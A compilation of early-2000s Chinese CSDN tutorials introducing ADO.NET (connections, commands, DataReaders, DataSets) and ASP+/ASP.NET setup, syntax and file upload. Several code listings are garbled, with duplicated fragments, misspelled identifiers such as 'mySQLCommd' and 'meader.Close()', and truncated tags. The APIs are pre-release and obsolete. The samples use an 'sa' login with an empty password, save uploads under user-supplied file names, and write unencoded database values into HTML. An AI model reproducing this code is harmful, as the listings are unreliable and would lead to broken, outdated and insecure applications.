csdn_ADO.NET快速起步

  ADO.NET快速起步
作者： 郜飞 小狮子
ADO.NET是微软的Microsoft ActiveX Data Objects (ADO)的下一代产品，是在微软的.NET中创建分布式和数据共享应用程序的应用程序开发接口(API)。

ADO.NET能被用在任何用户的应用程序，需要和OLE DB-compliant的数据源连接和通讯，例如Microsoft SQL Server。

同时ADO.NET又保持着与以前的ADO模型有关的一些主要概念，它已经被极大的完善，并从不同的信息来源提供途径去获得结构化的数据----一个平台文本文件，从数据库管理系统获得的相关数据，或者是分级的XML数据----然而，所有都按照一个相容的，标准化的设计模型来执行。

这篇文章意在简要的介绍ADO.NET的关键特性，重点讲述了在关系数据库管理系统（rdbms)中访问数据。

快速浏览

SQL Server 7.0（及更新版本）以及可以通过 OLE DB 提供者进行访问的任何数据源。这些又称为被管理的提供者（Managed Provider）。.NET框架的数据存取API提供了两种方式分别识别并处理两种类型的数据源：SQL Server 7.0（及更新版本）和可以通过 OLE DB 提供者进行访问的任何数据源。SQL(System.Data.SQL)库可以直接联结到SQL Server的数据，而ADO (System.Data.ADO)库可用于其他通过OLE DB 提供者进行访问的任何数据源。

SQL Server被管理的提供者在MS SQL Server 7.0或以后的版本中使用叫做“tabulardata stream”的专用协议，而没有使用OLE DB, ADO 或 ODBC。

ADO.NET被管理的提供者能够在这些OLE DB 提供者下工作。

驱动程序 Driver
提供者 Provider

SQLOLEDB
SQL OLE DB Provider

MSDAORA
Oracle OLE DB Provider

JOLT
Jet OLE DB Provider

MSDASQL/SQLServer ODBC
SQL Server ODBC Driver via OLE DB for ODBC Provider

MSDASQL/Jet ODBC
Jet ODBC Driver via OLE DB Provider for ODBC Provider

现在ADO.NET还不支持 MSDASQL/Oracle ODBC Driver（ORACLE OLE DB DRIVER FOR ODBC）。

以下章节将介绍每个被管理的提供者都可用的ADO.NET的核心组件

Connections--连接和管理数据库事务。
Commands--向数据库发送的命令。
DataReaders--直接读取流数据。
DateSets 和 DateSetCommands--对驻留内存中的数据进行存储和操作。

核心的ADO.NET功能基本上可以被概括为如下内容：

Connection对象在Web页面和数据库间建立连接。Commands对象向数据库提供者发出命令，返回的结果以一种流的方式贯穿于这些连接中。结果集可以用DataReaders快速的读取，也可以储存到驻留内存的DateSets对象中，然后通过DateSetCommands对象让用户在数据集中访问和操作记录。开发者可以用过DateSet内置的方法在基础的数据源上去处理数据集。

为了使用.NET框架中的被管理提供者，需要把下面的名空间（namespaces）包括到.aspx页面中。

SQL被管理的提供者：

<%@ Import Namespace="System.Data.SQL" %>

ADO被管理的提供者：

<%@ Import Namespace="System.Data.ADO" %>

Connections

微软在.NET框架中提供了两个Connection对象以建立连接到特定的数据库：SQLConnection和 ADOConnection。Connection对象能在已经创建的连接上通过调用open的方法来被明确的打开连接。下面的代码片断演示了用任一提供者创建和打开连接。

SQLConnection

[C#]
String connectionString = "server=localhost; uid=sa; pwd=; database=northwind";
SQLConnection myConn = new SQLConnection(connectionString);
myConn.Open();

[VB]
Dim connectionString As String = _
  m connectionString As String = _
      "server=localhost; uid=sa; pwd=; database=northwind"
Dim myConn As SQLConnection = New SQLConnection(connectionString)
myConn.Open

ADOConnection

[C#]
String connectionString = "Provider=SQLOLEDB.1; Data Source=localhost; uid=sa; pwd=; Initial Catalog=Northwind;"
ADOConnection myConn = new ADOConnection(connectionString);
myConn.Open();

[VB]
Dim connectionString As String = _
  ost; uid=sa; pwd=; Initial Catalog=Northwind;"
ADOConnection myConn = new ADOConnection(connectionString);
myConn.Open();

[VB]
Dim connectionString As String = _
      "Provider=SQLOLEDB.1; Data Source=localhost; " & _
      "uid=sa; pwd=; Initial Catalog=Nohwind"
Dim myConn As ADOConnection = New ADOConnection(connectionString)
myConn.Open()

Commands

在建立了连接以后，下一步要做的就是对数据库运行的SQL语句。最简单直接的方法是通过ADO和SQL命令对象来实现。

Command对象可以给予提供者一些该如何操作数据库信息的指令。

一个命令（Command）可以用典型的SQL语句来表达，包括执行选择查询（select query）来返回记录集,执行行动查询(action query)来 更新（增加、编辑或删除）数据库的记录，或者创建并修改数据库的表结构。当然命令（Command）也可以传递参数并返回值。

Commands可以被明确的界定，或者调用数据库中的存储过程。接下来的小段代码证明了在建立连接之后如何去发出一个Select命令。

SQLCommand

[C#]
String SQLStmt = " SELECT * FROM Customers";
SQLCommand myCommand = new SQLCommand(SQLStmt, myConn);

[VB]
Dim SQlStmt As String = "SELECT * FROM Customers"
Dim myCommand As SQLCommand = New SQLCommand(SQLStmt, myConn)

ADOCommand

[C#]
String SQLStmt = " SELECT * FROM Customers";
ADOCommand myCommand = new ADOCommand(SQLStmt, myConn);

[VB]
Dim SQlStmt As String = "SELECT * FROM Customers"
Dim myCommand As ADOCommand = New ADOCommand(SQLStmt, myConn)

DataReaders

当你处理大量数据的时候，大量内存的占用会导致性能上的问题。例如，一个连接（connection）用传统的ADO Recordset对象去读1000行数据库的记录，就必须为这1000行记录将内存分配给这个连接直至这个连接的生命周期结束。如果有1000用户在同一时间对同一计算机进行同样的操作，内存被过度的使用就会成为关键性的问题。

为了解决这些问题，.NET框架包括了DataReaders对象，而这个对象仅仅从数据库返回一个只读的，仅向前数据流。而且当前内存中每次仅存在一条记录。

DataReader接口支持各种数据源，比如关系数据和分级数据。DataReader可以适用于在运行完一条命令仅需要返回一个简单的只读记录集。

下面的代码片断阐述了怎么样声明变量指向一个DataReader对象的实例，还包括代码执行时Command对象产生的结果。当调用Command对象执行方法时，Command对象必须已经被创建和作为参数来传递。继续上面的例子：

SQLDataReader

[C#]
SQLDataReader myReader = null;
myCommand.Execute(out myReader);

[VB]
Dim myReader As SQLDataReader = Nothing
myCommand.Execute(myReader)

ADODataReader

[C#]
ADODataReader myReader = null;
myCommand.Execute(out myReader);

[VB]
Dim myReader As ADODataReader = Nothing
myCommand.Execute(myReader)

接下来这步是一个使用DataReader的简单格式

[C#]
While (myReader.Read()) {
  [C#]
While (myReader.Read()) {
      // do your thing with the current row here
}

[VB]
While myReader.Read
  ' do your thing with the current row here
End While

下面的例子展示了迄今为止我们所讨论的内容：建立一个到SQL数据源的连接，对于连接的发送select命令，用DataReader对象来保存返回的结果，然后通过循环DataReader取得数据。

下面是用C#写的完整代码。

<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SQL" %>

<html>
<head>

<script language="C#" runat="server">
public SQLDataReader myReader;
public String html;

protected void Page_Load(Object Src, EventArgs E ) {
      SQLConnection mySQLConnection = new SQLConnection("server=localhost;uid=sa;pwd=;database=northwind");
      SQLCommand mySQLCommand = new SQLCommand("select * from customers", mySQLConnection);

      try {
            mySQLConnection.Open();
            mySQLCommd.Execute(out myReader);

  .Execute(out myReader);

            html="<Table>";
            html+="<TR>";
            html+="<TD><B>Customer ID</B> 　 </TD>";
            html+="<TD><B>Company Name</B></TD>";
            html+="</TR>";

            while (myReader.Read()) {
                  html+="<TR>";
                  html+="<TD + myReader["CustomerID"].ToString() + "</TD>";
  + myReader["CustomerID"].ToString() + "</TD>";
                  html+="<TD>" + myReader["CompanyName"].ToString() + "</TD>";
                  html+="</TR>";
            }
            html+="</Table>";
      }
      catch(Exception e) {
            html=e.ToString();
      }
      finall y {
            meader.Close();
  ader.Close();
            mySQLConnection.Close();
      }
      Response.Write(html);
}
</script>
</head>

<body>

</body>
</htm

注意，真正的捕获块已经包括在"try ... catch"语句中了。这提供了一些处理连接时出现异常的方法。在“finally”块中的代码总是会被执行，不管是否已经执行的是“try”或“catch”块，所以它变成关闭reader和conncetion对象的逻辑位置。

同时也注意DataReader中字段的值是怎么被方便的访问和传递的。

总结：本文主要介绍了ADO.NET的基本特点，并且使用的一些代码展示了在ADO.NET中如何建立数据库连接，发送查询命令及使用DataReader对象快速浏览数据集方式。当然作为微软面向分布式应用和数据共享的新一代ADO产品，它正真的精华是DateSets对象。为此，本网站将在即将推出的《ADO.NET深入研究》中对DateSets对象进行深入的探讨。


csdn_ADO.NET：通向未来之桥

  ADO.NET：通向未来之桥
作者： 仙人掌工作室
在Web跨入编程时代之前，对于大多数IT管理者和顾问来说，数据访问只是一个相对而言的问题；所有要用到的数据都必须自己准备好。人们主要关心的问题是选择性能/价格比最好的数据库服务器，系统涉及的所有模块必须和服务器兼容。客户机/服务器应用是这种两层模型最典型的范例。

随着Web交互性的日益提高和应用的日益广泛，对于第三层——中间层的需求也越来越突出。中间层是一个逻辑层，数据访问组件通常就在这一层上。数据访问组件是唯一有必要了解数据库细节的代码，同时，准备更换或者升级数据库服务器时，数据访问组件也是第一个需要修改的地方。

接下来，三层系统模型发展成了Windows DNA——现在称为Microsoft .NET服务器系统。Microsoft利用一个统一的模型进行数据访问。这个模型注重的是内容，而不是数据格式和存储媒介。它的具体表达方式建立在UDA（Universal Data Access，通用数据访问）的基础之上，而UDA正是激励OLE DB体系发展的深层理念。为了提供一种通过VB和ASP COM组件方便地、无缝地访问OLE DB功能的途径，Microsoft设计了ADO。ADO 2.0是用来支持OLE DB的第一个版本。在几年之内，ADO发展到了2.6版本，增加和扩展了XML支持，使得经过扩展的ADO对象模型能够匹配所有OLE DB改进功能（例如，对于OLE DB新增的Row和Stream对象，ADO 2.5提供了类似的ADO配套功能）。

ADO 2.0的核心功能超越了OLE DB。在多层系统中，随着中间层组件的出现，如何为表现层提供最新数据这一问题也随之出现。表现层怎样访问数据？连接怎样打开？或者，我们是否应该维护一份脱机记录（即，一些断开连接之后仍旧能够在表现层使用的数据库记录）？ADO 2.0以及它的更高版本同时提供了对服务器端游标和脱机记录集的支持（脱机记录集是一种COM对象，它可以跨越网络串行化，客户可以下载它然后脱机使用）。

服务器端游标代表着一个紧密结合的、保持连接的环境，在这个环境中我们总是维持着各个层之间的有效通道，只有结束时才拆除连接。与此相反，脱机记录集是一个有状态的对象，我们可以把它作为一个整体处理，且不必维持连接。脱机记录集使用客户端的静态游标，能够提供一个数据源的快照。对于那些只有读取要求、且需要在各个系统层之间移动数据的应用程序来说，脱机记录集是很理想的。今天，大多数Web应用程序要求在各个层之间传输数据。为了获取这些数据，我们经常使用快速的“只能向前”游标，用XML编码数据，然后通过网络发送数据，避免了在Web服务器上维持会话状态信息。在分布式环境中，数据库连接是一种关键性的资源，以脱机方式工作保证了高可伸缩性。

然而，Web是一把双刃剑。Web让我们连接到任何类型的联机服务，而且能够与它们进行交互。但是，Web也要求一定程度的互操作性，因为操作所涉及的各个服务可能运行在不同的软件和硬件平台上。我们可以通过利用开放的标准，以及那些不注重私有权的技术——甚至是象COM+这类广泛应用的私有技术，跨越不同的平台。

今天，基于Windows的Web数据访问应用程序利用了ADO丰富的、方便的编程接口。然而，ADO对象天生地定位在Windows平台上。ADO基于COM的本性使得记录集很难在一个分布式、异种平台构成的环境中使用。另外，即使目标平台可能允许我们使用ADO记录集，它也不具备最有效的机制。ADO.NET的DataSet和DataReader更有效；而且，如果没有ADO.NET，有些时候我们还可以借助XML或纯文本获得高效率。

为了在Web环境下传输数据，Microsoft对ADO记录集进行了优化。但COM类型转换仍旧是一个必不可少的步骤，因为COM的数据类型不可能总是匹配ADO记录集的数据类型（例如，String类型必须转换成BSTR类型）。由此，许多人把XML当成了粘合各个层的“万能胶水”——不管涉及到了哪些平台。通常的做法是：先提取一个记录集，把它保存为XML格式，然后传输结果数据流，让接收者从这个XML数据流重新构造出记录集供以后使用。随着对协同工作能力和可伸缩性要求的提高，ADO不再是最理想的答案，因为它不是建立在XML的基础上——但ADO.NET是。

二、ADO在Web环境中的不足

.NET框架创立了一种取代COM和COM+的新组件模型。.NET的提出是Microsoft成熟的组件技术的新战略。虽然几个关键性的COM特色不再在.NET中出现，但在某些方面，.NET与COM编程仍旧很相似。因此，COM程序员将能够方便地转向.NET开发。ADO.NET是Microsoft特别为.NET框架设计的数据访问层，它在很大程度上利用了.NET的优势。

为什么.NET必须用一个新的数据访问层来替代现有的、广泛应用的数据访问接口，比如ADO？现代Web应用系统必须具备客户机/服务器应用和桌面应用的交互能力，Microsoft设计.NET的目标正是为了迎接设计现代Web应用系统的挑战。同时，.NET也利用了各种Web协议广泛的、强大的连接能力和协同操作能力。

在非Windows平台上，ADO记录集不能直接使用，从而使得协同操作能力受到了限制。为了突破这个限制，我们要把记录集转换成XML格式，然后传输转换得到的XML记录集。在ADO.NET中，把数据转换成XML以及通过网络传输的操作得到了简化和优化。另外，ADO对象模型中的每一个地方都体现了以数据库为中心的思想。ADO把数据看成是一组来自数据源的记录，而不是把数据看成一些独立的信息。在ADO中，如果脱离了数据提供者用来保存和描述数据的结构，数据将不能独立存在。

三、ADO.NET数据集和ADO记录集

ADO.NET是从Web的角度对ADO进行检讨和改进。Microsoft对ADO.NET的设计严格地体现了其名字的含义：ADO，再加上.NET。ADO.NET自动连接网络，致力于让Web数据访问变得更加简单和高效。两个功能使得这方面的增强成为可能：脱机记录集，以及与生俱来的对XML的支持。由于采用了脱机记录集方案，ADO.NET自然也就不再支持服务器端游标。ADO.NET天生就把记录数据保存为XML文档，把模式（Schema）和数据视为分离的、可替换的元素。

如果你认为ADO早就提供了这些功能，它们并没有什么创新意义，那么，ADO.NET还提供了其他许多新的功能。ADO.NET能够使用连接的或者非连接的（脱机的）记录集，具体由用户选择的游标类型和游标位置决定。ADO记录集的本地存储格式是ADTG文件格式（Advanced Data TableGram，高级数据表图）。ADTG是一种Microsoft私有的二进制存储模式，代表着记录集在内存中的映像。XML是可替换使用的、确定的、详细输出格式。在ADO.NET中，我们可以断开一个记录集集合的连接，通过一个默认（但允许更改）的XML模式再现记录集集合。

在ADO.NET对象模型中，DataSet（数据集）是最重要的对象。一般地，一个DataSet对象就是一个记录集的集合。ADO.NET框架提供了记录集的所有数据库功能：排序，分页，过滤视图，关系，索引，和主键。

DataSet对象代表了一个在内存中的、有着丰富功能的数据缓冲区。DataSet对象也通过表组织数据，这些表与原始的数据源之间不存在连接。我们可以添加表，表可以通过读取本地或远程XML文件获得，或者也可以从任何可访问的系统资源（包括内存和其他附属设备在内）读取。我们可以排序、索引、过滤数据表，象处理ADO的Recordset一样导航数据表。

我们可以通过命令用数据集合填充DataSet对象。如果用.NET集合的形式为DataSet对象提供数据表（具有集合功能的.NET数据类型是ICollection），同一个DataSet对象能够服务来自多个连接的多个请求。ADO.NET的DataSet对象比ADO的Recordset更一般化；与ADO的Recordset不同，它是对数据源的一种抽象。然而，DataSet对象保留了一个在内存中工作的数据存储器；它没有完全淘汰记录集功能。如果我们只需要一次性地滚动记录集，然后生成某种输出，那么，我们应该使用DataReader对象。.NET的DataReader对象类似于“只能向前、只读”的记录集，但它是一个高度专用化的对象，所以无论在体积和开销上它都要比记录集小。事实上，记录集能够执行许多不同的任务，是一个相当臃肿的对象。与ADO的Recordset相比，DataReader不包含进行“家务管理”的代码，除了实现功能所必需的代码之外，它不包含任何其他代码。

把多个表作为一个整体管理以及允许建立这些表之间的关系，这是ADO.NET的新功能。我们可以用XML形式持久化或传输任何DataSet对象，而且无需付出任何额外的代价，因为DataSet对象本身就是按照XML格式构造。因此，除非要修改底层模式，否则，我们无需为了获得一个XML流而去转换DataSet对象的任意一个部分。

四、ADO.NET对象详解

ADO和ADO.NET有着两个截然不同的对象模型：ADO定位在基于Windows 2000和NT的服务器平台；ADO.NET定位在支持.NET的平台。Microsoft预期在2001年末推出第一个.NET OS——Windows XP（原来的代码名字为Whistler）。不过，它的后继产品（代码名字为Blackcomb）更有可能提供一个全功能的.NET OS。

如果要迁移代码，我们可以把现有的ADO代码导入到.NET应用之中，从而节省在编写代码方面的投入。然而，如果不做重大的设计调整，同样的代码几乎不可能移植到ADO.NET。ADO和ADO.NET的对象模型不一样，两者在不同的设计指导思想下完成。

ADO.NET只用来构造基于.NET服务器的Web应用。ADO.NET是.NET应用程序的数据访问API。因此，只有把服务器升级到.NET之后，你才可以考虑ADO.NET。在同一个应用程序中，让ADO和ADO.NET协同运作是没有什么意义的。虽然你可以同时使用这两者（至少从设计的角度来看），但这并不是一种好的选择。

ADO.NET的对象主要包括：DataSet，DataTable，DataColumn，DataRow，和DataRelation。这些对象的主要特点说明如下。

▲ DataSet：这个对象是一个集合对象，它可以包含任意数量的数据表，以及所有表的约束、索引和关系。所有这些信息都以XML的形式存在，我们可以处理、遍历、搜索任意或者全部的数据。图1显示了一个典型的DataSet对象的模式。在这个例子中，DataSet对象包含两个表，其中一个表来自SQL Server，另一个表来自Oracle。两个表通过一个关系连接到一起，关系把源表的一组记录和目的表的一组记录关联到一起（例如，主-细关系）。另外，一个XML表通过一对一（1:1）的关系关联到了Oracle表。

▲ DataTable：这个对象代表着可以在DataSet对象内找到的所有表，如图2所示。我们通过Tables属性访问DataTable的集合。类似地，通过DataSet的Relations属性可以访问到所有已经建立的数据集关系。Xml属性包含了对象原始的XML描述，.NET应用程序可以从这个XML字符串重新构造出数据集。

在ADO.NET对象模型的层次结构中，DataTable对象与ADO的Recordset对象最接近。根据具体目的的不同，我们可以在数据集之内或之外创建和使用表。另外，我们可以手工执行命令——但首先必须定义表的模式——或者，依靠受管理数据提供者创建和填充表。（受管理提供者即Managed Provider，它是一种新的数据提供者类型，是ADO.NET中唯一直接访问数据源的途径。这种提供者封装了一个数据源，通过Microsoft .NET类返回数据。受管理提供者共用OLE DB的观念，但它是经过专用化的、优化的，而且很容易使用。）

▲ DataColumn：表包含与列有关的信息，包括列的名称、类型和属性。我们可以按照下面的方式创建DataColumn对象，指定数据类型，然后把列加入到表：

Dim dc As DataColumn
dc = New DataColumn()
dc.DataType = System.Type.GetType("System.String")
dc.ColumnName = "NameOfTheColumn"

任何时候，列的清单都可以通过DataTable的Columns集合得到。

▲ DataRow：要填充一个表，我们可以使用命令的自动数据绑定功能，或者也可以手工添加行，方法是：创建DataRow对象，把DataRow对象插入到表，然后为该记录的各个字段填写数据。我们可以通过Rows集合导航DataTable的元素，利用Rows集合实现一个顺序导航器，或者，通过搜索或直接定位跳转到特定的记录。

▲ DataRelation：这个对象代表着两个表之间的父-子关系。关系建立在具有同样数据类型的列上，但列不必有相同的精确度。关系可以是1:1、一对多（1:M）或多-对-多（M:N）关系。关系可以方便地把对父记录的改动传播到子记录，但这不是默认行为。

要启用DataRelation对象，我们必须把一个ForeignKeyConstraint加入到待修改数据表的ConstraintsCollection成员。DataTable对象的ConstraintsCollection成员决定了当一个父表的值被删除或改动时，要执行一些什么动作。

设置了关系之后，ADO.NET将拒绝所有破坏该关系的数据集改动操作，并产生一个运行时异常。在遍历表的记录时，调用GetChildRows方法可以从已连接的表访问所有相关的行。GetChildRows方法返回一个DataRow对象的数组，这是一种新的分层式记录导航方式，而传统的记录导航方式属于顺序模式或随机模式。

关系是不可传递的。假设表A关联到表B，表B又关联到表C的一些行。另外，假设在遍历表A记录的时候，对于每一个表A的记录，我们要访问现有关系中的子记录。如果我们想要访问对应表B中特定记录的表C记录，那么，我们不能使用由A-B的关系得到的表B的DataRow对象；相反，我们必须从表B打开一个新的表视图，找到我们想要的特定记录，然后通过表B对表C的关系调用GetChildRows方法。

【Listing 1：创建和填充一个DataSet对象】

' 执行命令
Dim strConn, strCmd As String
strConn = "DATABASE=Northwind;SERVER=localhost;UID=sa;PWD=;"
strCmd = "SELECT * FROM Employees"
Dim oCMD As New SQLDataSetCommand(strCmd, strConn)

' 向数据集加入一个命名的表，得到一个静态快照
Dim oDS As New DataSet
oCMD.FillDataSet(oDS, "EmployeesList")

' 遍历各个记录
Dim oRow As DataRow
For Each oRow In oDS.Tables(0).Rows
Response.Write(oRow(0).ToString() + " ")
Response.Write(oRow(1).ToString() + "<BR>")
Next

Listing 1的代码显示了如何访问SQL Server标准的Northwind数据库，创建并填充一个DataSet对象。关于DataSet及其下属对象的层次结构简图，请参考图2。

创建DataSet对象之后，我们打开了一个访问指定数据库的连接，并执行一个返回记录的命令。这个命令可以是一个SQL命令，或者也可以是一个存储过程。下面的代码用到了FillDataSet方法，FillDataSet方法允许我们把命令返回的表关联到指定的数据集。

Dim oDS As New DataSet
oCMD.FillDataSet(oDS, "EmployeesList")

数据集中的每一个表都有一个名字，我们通过这个名字来提取内容。ADO.NET真正的进步源自数据集这一概念的提出，在ADO中不存在与ADO.NET DataSet类似的对象。虽然我们无法从这个例子看出DataSet对象的重要性，但从体系结构上说，DataSet对象处于一个不同的层次。它允许我们在同一个逻辑对象的组织之下管理多个表，这个功能为我们实现主-细关系模式和数据绑定机制提供了前所未有的强大工具。另外，我们还可以通过索引引用一个表。

五、修改数据

以脱机方式工作时，我们对数据的添加、修改、删除等更新操作在内存缓冲中进行。因此，如果你利用NewRow添加了新的记录，或者利用某个简单的工具编辑现有的行，这些更新只在内存中进行，不影响底层的数据源。更新操作在我们从Command对象调用Update方法提交更改的时候发生。Update方法为数据集中每个被插入、修改、删除的行分别调用Insert、Update和Delete命令。

我们可以利用ADO.NET命令的InsertCommand、UpdateCommand和DeleteCommand属性，指定面向特定数据源的命令，插入、修改或删除记录。这些属性的内容和我们所要操作的数据提供者有关，但是，如果数据提供者是一个数据库管理系统（DBMS），属性的内容很可能就是SQL命令字符串。当Update方法执行时，如果这些属性还没有设置好，但DataSet对象包含了主键信息，那么，ADO.NET将自动生成命令文本。

我建议，只有当应用程序要求读取一定数量的记录并进行修改，而且修改的次序和数量不可预测时，才使用这种插入、更改、删除记录的方法。如果应用程序的用户界面只是要求填写几个字段，然后插入或更新记录，那么，执行SQL语句或存储过程是更理想的方法。

六、其他需要说明的问题

虽然ADO.NET不是一个特别庞大的主题，但本文仍旧只是粗略地勾勒了它的表面。如果不理解隐藏在ADO.NET背后的深层原理，我们不能有效地利用ADO.NET。ADO.NET不仅仅是一种新的数据访问API，更重要的是，当我们利用.NET的强大优势时，ADO.NET使得我们能够跨越Web访问数据。如果你选择.NET作为服务器平台，你就应该用ADO.NET访问数据。

在.NET平台的设计过程中，Microsoft必须对如何进行数据访问做出决策。它可以直接移植ADO，但ADO建立在COM的基础上，而且大多数时候它被用作一种OLE DB上的脚本接口，一个紧密结合的、有连接的环境。Microsoft修改了ADO，淡化ADO以数据库为中心的色彩，使得它更适合在一个宽松结合的环境中运行。在ADO.NET中，Microsoft实现了ADO与.NET平台的一致性。不论我们编写的是Web表单、Windows窗体还是Web服务，如果系统中存在一个数据源，ADO.NET总是提供一组相同的类。ADO.NET重新审视了Recordset对象，把它的功能分割成了两个对象：DataSet和DataReader。如果你坚持使用ADO，那么，你仍旧可以利用.NET导入ADO类，然而，ADO不包含任何ADO.NET不能提供的功能。

最后一个需要认识的重要问题涉及到Microsoft设计ADO.NET的方法。无论是在ASP.NET中，还是在ADO.NET中，大多数改进体现了最优秀的开发实践经验。Microsoft简单地把各种改动加入到一个一致的对象模型和一个“完全包容”的框架，单独的编程技巧在这里变成了整体功能的有机组成部分。ADO.NET是数据访问的通用编程技巧和用户共同需求的结晶，如果你要把Web系统升级到.NET，ADO.NET绝对是你必不可少的工具。


csdn_亲密接触asp.net(1)

亲密接触ASP.Net(1)

作者: http://www.aspcn.com 飞刀

ASP+出来都快半年了，我们站点也做了不少的介绍，但是今天飞刀我才终于有了心思来写一下关于这个ASP+的文章了。呵呵,让大家久等了。

(本章节写于上个世纪，所以现在有些叫法已经改变，比如ASP+已经叫ASP.Net，NGWS也已经成为了.Net Framework) 首先我得申明，本教程适用于有一定网络编程经验的人，比如asp,php,cgi,jsp开发者，如果你对网络编程一点也不了解，那么您还是先去学学其它的语言，不然以下的文章您会有很多看不懂的地方。呵呵。

我们开始吧。

ASP+的运行环境

我们要学习ASP+，就先得搞一个调试环境出来。让你的"爱鸡"支持asp+,那么您需要以下的条件：

  1. Windows 2000 Professional, Windows 2000 Server , Windows 2000 Advanced Server

  2. .Net Framework(以前叫NGWS)

  3. IE 5.5

以上是支持ASP+的需要，大家看到目前只有Windows 2000才有安装.Net Framework的可能，NT，Windows 98,Windows Me 暂时还没有办法支持asp+,不会老盖答应我们在以后的版本中会在其它的平台上支持asp+的，大家慢慢等吧。而且还不是所有的window 2000都可以，windows 2000的版本号要是RC 3618以上的才行(这是本人写这篇文章时的情况，现在连Winnt 4.0 都可以了,98，Me暂时只能安装.Net Framework,还不能支持ASP.Net）。飞刀我以前就是windows 2000的版本太低，不得不放弃正版，买了D版（全是ASP+惹的祸）。

.Net Framework是个大块头，有111M之巨，飞刀兄弟我的小猫跑了5个小时才把它搞定，它的下载地址是http://download.microsoft.com/download/VisualStudioNET/Install/2204/NT5/EN-US/setup.exe 幸得M$有钱，下载站点的带宽还大，下载速度还可以咯。大家慢慢来吧。

IE 5.5 是上面最好搞定的东东了。这个东西现在已经是泛滥了：），D版的不少，呵呵，不能称D版，它本身就是免费的：）

ASP+与ASP的比较

说起ASP+的好处，那就很多了。我们这里举几个最明显的。

速度，ASP+是编译后执行的，也就是说当aspx文件第一次被请求时被编译，以后的请求就不需要重新编译了。而ASP是解释性脚本语言，每次都需要重新编译，这种原因，其速度就无法和ASP+来比了。不过ASP+的编译速度也够慢的，在本地机上调试，第一次执行的速度是很慢的。不过以后就很快了，第一次执行的任务就交给管理员去做吧。我们就去享受以后的高速度吧：）

功能，ASP+的功能是无比强大的，几乎能做我们在网络能想到的事情，呵呵，举个简单的例子，那就是文件的上传，在ASP的时代，这个问题只能通过组件才行，但是在ASP+中只需要以下的代码就可以了。下面是一个例子:

< html>
< head>

< script language="C#" runat="server">

void Button1_Click(object Source, EventArgs e) {

if (Text1.Value == "") {
Span1.InnerHtml = "Error: you must enter a file name";
return;
}

if (File1.PostedFile != null) {
try {
File1.PostedFile.SaveAs("c:\\temp\\"+Text1.Value);
Span1.InnerHtml = "File uploaded successfully to c:\\temp\\"+Text1.Value+" on the web server";
}
catch (Exception exc) {
Span1.InnerHtml = "Error saving file c:\\temp\\"+Text1.Value+"
"+ exc.ToString();
}
}
}

< /head>
< body>

HtmlInputFile Sample

< form enctype="multipart/form-data" runat="server">

Select File to Upload:

Save as filename (no path): < input id="Text1" type="text" runat="server">

< span id=Span1 style="font: 8pt verdana;" runat="server" />

< input type=button id="Button1" value="Upload" OnServerClick="Button1_Click" runat="server">

< /form>

< /body>
< /html>

相信大家都能看懂上面的程序，不是太难。看看用ASP+上传文件就是这么简单，根本就不需要什么组件了，呵呵，只可怜飞刀我写了半天的"aspcnUP上传组件"，一片心血就被M$给搞完了。我们的组件也要下岗了，唉，可悲啊。(飞刀悲情地唱起"风萧萧兮，易水寒，壮士一去不复返......"）

ASP+能做的事远不止如此，这里只是举个小例子,它的更多功能我们以后再去介绍，呵呵。

ASP+还有一大优点就是结构化编程,他的程序语言可以自已任意加，目前支持C#,VB,JavaScript,呵呵，大家是不是对不支持VBScript感到失望 ？！：）这是大势所趋，大家也不必失望啦，我以后的文章的例程都会用C#去写，呵呵，如果你钟情于VB，你也可以看看本站一篇关于VB与C#语法比较的文章，很容易上手的。对于C＃,大家可能比较陌生，不过我们看看上面的程序，发现他还是有很多地方是我们容易上手的。我个人认为它是C++与VB与Java的结合体，也可能是M$宣战Java的第一步,大家用多了就会觉得他好处多：）

写ASP+程序，你会觉得是在写VB或者是VC，很多的思想全都来自于VB,VC，可能是MS.NET的原因吧。所以我们写程序的思维需要改变，要让你自已感觉这是在写软件，不是在写传统的asp程序。

至于ASP+还有的一些功能，我们站点以前的文章也介绍了，呵呵，大家查查，我们以后也会通过程序去了解，只可惜，我们服务商的服务器不能使用asp+,否则我们会更多了解的asp+的特性。

另外一个大家关心的问题就是，装有NGWS的Windows 2000是否还支持asp,担心我们有了aspx，就没有了asp,以前的程序就全玩完了。这个问题大家根本不用担心，NGWS设计时M$就考虑过，NGWS同样可以解析asp,文件的扩展名是.asp，那就使用asp的方法解析，如果是.aspx就使用asp+来解析，所以您以前的asp是不会报销的。哈哈，大家可以放心啦。飞刀的机器上就是这样的咯。aspx,asp都可以用：）

这第一节就到这儿了，下一节，我们介绍一下，asp+的语法：）,大家多多捧场。


csdn_亲密接触asp.net(2)

亲密接触ASP.Net(2)

作者：http://www.aspcn.com 飞刀

上一节 ，我们简单介绍了ASP+的配制环境,我们这一节来谈谈ASP+的语法.其实当你装好NGWS后，他所带的文档是最好的学习ASP+的教程，要你E文足够好，以及很好的耐性，学习ASP+不是难事啦.我们这些家伙也是从这里学了很多的，这篇关于ASP+语法的文章，大多数也来自于M$的原文，最可惜的就是我们的服务器不能装上NGWS，有些例子，大家不能看到执行结果，不太好。不过有些地方，我会把执行结果显示出来的。我们开始这一节吧：）

一个ASP+页面的后缀名是".ASPX".它能够包含八种不同的语法标置元素.我们将在这篇文章中介绍这几种不同的语法，并且举出一个例子来显示它的用法。

< % %> 与 < %= %>

用过asp吗，用过,那么大家就不会对这个标签陌生了。呵呵，下面是一个简单的例子。他执行后的结果我想我不写不出来，大家也都知道啦。这个就不多谈了，呵呵.

< % for (int i=0; i<8; i++)
{
%>
 Hello World!
< % } %>

上面的例子中< % %>之间的程序将会被执行，并显示出的结果,< %="Hello World" %>就等于< % Response.Write ("Hello World") %>

注意：在C#中，是以分号(;)做为分隔符，但是我们要注意一些事情。

C# code
< % Response.Write("Hello World"); %> | 这里的分号是必须的
< %="Hello World"; %> | 这样写会有一些小问题就是，显示的结果是 "Response.Write("Hello World";);"
<%="Hello World" %> | 正确


csdn_亲密接触asp.net(3)

亲密接触ASP.Net(3)

作者: http://www.aspcn.com 飞刀

不好意思，很久没有写文章，主要原因是前段时间考试，忙得飞刀我昏头转向，现在时间终于有多余了，所以不得不又提起笔来了（注：没有笔，回到家，连电脑也没有，只有在网吧混日子）。但是由于回到家中，没有电脑，所以我的文章也只能是断续地写出来，大家请见谅。

